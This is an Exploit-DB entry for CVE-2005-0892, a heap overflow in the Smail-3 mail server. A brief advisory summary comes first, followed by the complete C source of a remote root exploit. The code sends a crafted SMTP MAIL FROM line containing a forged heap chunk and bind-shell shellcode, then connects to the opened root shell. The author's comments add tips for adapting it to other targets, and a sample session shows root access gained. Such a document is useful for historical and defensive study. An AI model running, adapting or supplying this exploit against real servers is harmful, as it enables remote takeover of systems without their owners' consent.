Smail-3 - Multiple Remote and Local Vulnerabilities

2005-03-25T00:00:00
ID EDB-ID:25275
Type exploitdb
Reporter infamous42md
Modified 2005-03-25T00:00:00

Description

Smail-3 Multiple Remote and Local Vulnerabilities. CVE-2005-0892. Remote exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/12899/info

Smail-3 is reported prone to multiple vulnerabilities. These issues can allow a local or remote attacker to execute arbitrary code on a vulnerable computer. A successful attack may lead to a complete compromise.

The following specific issues were identified:

Smail-3 is vulnerable to a remote heap overflow vulnerability. An attacker can leverage this vulnerability to execute arbitrary code with superuser privileges. Attack attempts may also trigger a denial of service condition.

The application is also reported prone to various potential vulnerabilities arising from insecure handling of heap memory by signal handlers. These issues are not confirmed at the moment.

Smail-3 3.2.0.120 is affected by these issues. Other versions may be vulnerable.

This BID will be updated when more information becomes available. 

/*
 *
 * 0
 *
 * smail preparse_address_1() heap bof remote root exploit
 *
 * infamous42md AT hotpop DOT com
 *
 * Shouts:
 *
 * BMF, wipe with the left, eat with the right
 *
 * Notes:
 *
 * You can't have any characters in overflow buffer that isspace() returns true
 * for.  The shellcode is clear of them, but if your return address or retloc
 * has one you gotta figure out another one.  My slack box has that situation,
 * heap is at 0x080d.. My gentoo laptop had no such problem and all was fine.  I
 * don't have anymore time to BS around with this and make perfect for any and
 * all, b/c I've got exam to study for and Law and Order:CI is on in an hour.
 * If the heap you're targetting is the same way, then try filling it up using
 * some other commands.  If the GOT you're targetting is at such address than
 * overwrite a return address on the stack.  Surely there's a way, check out the
 * source and be creative; I'm sure there are some memory leaks somewhere you
 * can use to fill up heap as well.
 *
 * You might run into some ugliness trying to automate this for a couple
 * reasons.  xmalloc() stores a cookie in front of buffer, and xfree() checks
 * for this cookie before calling free().  So you're going to need that aligned
 * properly unless you can cook up a way to exploit it when it bails out in
 * xfree() b/c of bad cookie and calls write_log() (this func calls malloc() so
 * maybe you can be clever and do something there). Furthermore I found that
 * when trying to trigger this multiple times the alignment was different each
 * time.  There are "definitely" more reliable ways to exploit this if you take
 * a deeper look into code which I don't have time to do right now.  The padding
 * parameter controls the alignment and the size of the chunk being allocated.
 * You'll probably have to play with it.  Yes that's fugly.
 *
 * [n00b@crapbox.outernet] ./a.out
 * Usage: ./a.out < host > < padding > < retloc > < retaddr >
 *
 * [n00b@crapbox.outernet] ./a.out localhost 64 0xbffff39c 0x8111ea0
 * --{ Smack 1.oohaah
 *
 * --{ definitely, adv.:
 * --{ 1. Having distinct limits
 * --{ 2. Indisputable; certain
 * --{ 3. Clearly defined; explicitly precise
 *
 * --{ Said HELO
 *
 * --{ Sent MAIL FROM overflow
 *
 * --{ Going for shell in 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1
 *
 * --{ Attempting to redefine the meaning of 'definitely'
 *
 * --{ Got a shell
 *
 * --{ Updating Webster's
 * --{ definitely, adv.:
 * --{ 1. See specious
 *
 * --{ For the linguistically challenged...
 * --{ specious, adj. :
 * --{ 1. Having the ring of truth or plausibility but actually fallacious
 * --{ 2. Deceptively attractive
 *
 * id
 * uid=0(root) gid=0(root)
 * echo PWNED
 * PWNED
 *
 *  - Connection closed by user
 *
 */

#include <stdio.h>
#include <ctype.h>
#include <sys/types.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/select.h>
#include <arpa/inet.h>


/* */
#define BS 0x1000
#define SMTP_PORT 25


#define Z(x, len) memset((x), 0, (len))
#define die(x) do{ perror((x)); exit(EXIT_FAILURE); }while(0)
#define bye(fmt, args...) do{ fprintf(stderr, fmt"\n", ##args);
#exit(EXIT_FAILURE); }while(0)


/* fat bloated call them shell code */
#define SHELL_LEN (sizeof(sc)-1)
#define SHELL_PORT 6969
#define NOP 0x90
char sc[] =
"\xeb\x0e""notexploitable"
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x39\xc6\x04\x24\x02\x89\xe6\xb0\x02"
"\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50\x6a\x01\x6a\x02"
"\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a\x10\x56\x50\x89\xe1\xb0"
"\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31\xc0\x31\xdb\xb0\x66\xb3\x04\xcd"
"\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89"
"\xeb\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x6b\x2c\x60\xcd"
"\x80";


/*  a dlmalloc chunk descriptor */
#define CHUNKSZ 0xfffffff8
#define CHUNKLEN sizeof(mchunk_t)
typedef struct _mchunk {
    size_t  dummy;
    size_t  prevsz;
    size_t  sz;
    long    fd;
    long    bk;
} mchunk_t;

/* */
ssize_t Send(int s, const void *buf, size_t len, int flags)
{
    ssize_t n;

    n = send(s, buf, len, flags);
    if(n < 0)
        die("send");

    return n;
}

/* */
ssize_t Recv(int s, void *buf, size_t len, int flags)
{
    ssize_t n;

    n = recv(s, buf, len, flags);
    if(n < 0)
        die("recv");

    return n;
}

/* */
int conn(char *host, u_short port)
{
    int sock = 0;
    struct hostent *hp;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));

    hp = gethostbyname(host);
    if (hp == NULL) {
            bye("gethostbyname failed with error %s", hstrerror(h_errno));
    }
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0)
            die("socket");

    if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
            die("connect");

    return sock;
}

/* */
void shell(char *host, u_short port)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfds;

    sock = conn(host, port);

    printf("--{ Got a shell\n\n"
           "--{ Updating Webster's\n"
           "--{ definitely, adv.:\n"
           "--{ 1. See specious\n\n"
           "--{ For the linguistically challenged...\n"
           "--{ specious, adj. :\n"
           "--{ 1. Having the ring of truth or plausibility but "
           "actually fallacious\n"
           "--{ 2. Deceptively attractive\n\n"
          );

    FD_ZERO(&rfds);

    while (1) {
            FD_SET(STDIN_FILENO, &rfds);
            FD_SET(sock, &rfds);

            if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
                die("select");

            if (FD_ISSET(STDIN_FILENO, &rfds)) {
            l = read(0, buf, BS);
            if(l < 0)
                die("read");
            else if(l == 0)
                        bye("\n - Connection closed by user\n");

                if (write(sock, buf, l) < 1)
                        die("write");
            }

            if (FD_ISSET(sock, &rfds)) {
                l = read(sock, buf, sizeof(buf));

                if (l == 0)
                        bye("\n - Connection terminated.\n");
                else if (l < 0)
                        die("\n - Read failure\n");

                if (write(STDOUT_FILENO, buf, l) < 1)
                        die("write");
            }
    }
}

/* */
int parse_args(int argc, char **argv, char **host, int *npad,
                    u_int *retloc, u_int *retaddr)
{
    if(argc < 5)
        return 1;

    *host = argv[1];

    if(sscanf(argv[2], "%d", npad) != 1)
        return 1;

    if(sscanf(argv[3], "%x", retloc) != 1)
        return 1;

    if(sscanf(argv[4], "%x", retaddr) != 1)
        return 1;

    return 0;
}

/* */
void sploit(int sock, int npad, u_int retloc, u_int retaddr)
{
    ssize_t n = 0;
    u_char  buf[BS],    pad[BS],    evil[BS];
    mchunk_t    chunk;

    Z(buf, BS), Z(pad, BS), Z(evil, BS),    Z(&chunk, CHUNKLEN);

    /* read greeting */
    n = Recv(sock, buf, BS, 0);
    if(n == 0)
        bye("Server didn't even say hi");

    /* send HELO */
    n = snprintf(buf, BS, "HELO localhost\r\n");
    Send(sock, buf, n, 0);
    Z(buf, BS);
    n = Recv(sock, buf, BS, 0);
    if(n == 0)
        bye("Server didn't respond to HELO");

    printf("--{ Said HELO\n\n");

    /*
     * Build evil chunk overflow.  The need to align chunk exactly makes this
     * not so robust.  In my short testing I wasn't able to get free() called
     * directly on an area of memory we control.  I'm sure you can though if you
     * take some time to study process heap behavior.  Note though that you'll
     * have to fill in the magic cookie field that xmalloc()/xfree() and some
     * other functions use, so you'll still need to have it aligned properly
     * which defeats the whole purpose.  This exploits the free() call on the
     * buffer we overflow, so you have to align the next chunk accordingly.
     * Anyhow on newest glibc there is a check for negative size field on the
     * chunk being freed, and program dies if it is negative (the exact
     * condition is not negative, but it has that effect pretty much, but go
     * look yourself ;)), So the techniques outlined by gera in phrack don't
     * work (being able to point all chunks at our two evil chunks).  Check out
     * most recent glibc code in _int_free() if you haven't already.
     */
    memset(pad, 'A', npad);

    chunk.dummy = CHUNKSZ;
    chunk.prevsz = CHUNKSZ;
    chunk.sz = CHUNKSZ;
    chunk.fd = retloc - 12;
    chunk.bk = retaddr;
    memcpy(evil, &chunk, CHUNKLEN);
    evil[CHUNKLEN] = 0;

    /* send the overflow */
    n = snprintf(buf, BS, "MAIL FROM:<A!@A:%s> %s%s\n", pad, evil, sc);
    Send(sock, buf, n, 0);
    Z(buf, BS);

    printf("--{ Sent MAIL FROM overflow\n\n");

#define SLEEP_TIME 15
    setbuf(stdout, NULL);
    printf("--{ Going for shell in ");
    for(n = 0; n < SLEEP_TIME; n++){
        printf("%d ", SLEEP_TIME-n);
        sleep(1);
    }
    puts("\n");
}


/*
 */
int main(int argc, char **argv)
{
    int sock = 0,   npad = 0;
    u_int   retloc  = 0,    retaddr = 0;
    char    *host = NULL;

    if(parse_args(argc, argv, &host, &npad, &retloc, &retaddr))
        bye("Usage: %s < host > < padding > < retloc > < retaddr >\n", argv[0]);

    printf("--{ Smack 1.oohaah\n\n");

    sock = conn(host, SMTP_PORT);

    printf("--{ definitely, adv.:\n"
           "--{ 1. Having distinct limits\n"
           "--{ 2. Indisputable; certain\n"
           "--{ 3. Clearly defined; explicitly precise\n\n"
          );

    sploit(sock, npad, retloc, retaddr);

    printf("--{ Attempting to redefine the meaning of 'definitely'\n\n");

    shell(host, SHELL_PORT);

    return EXIT_SUCCESS;
}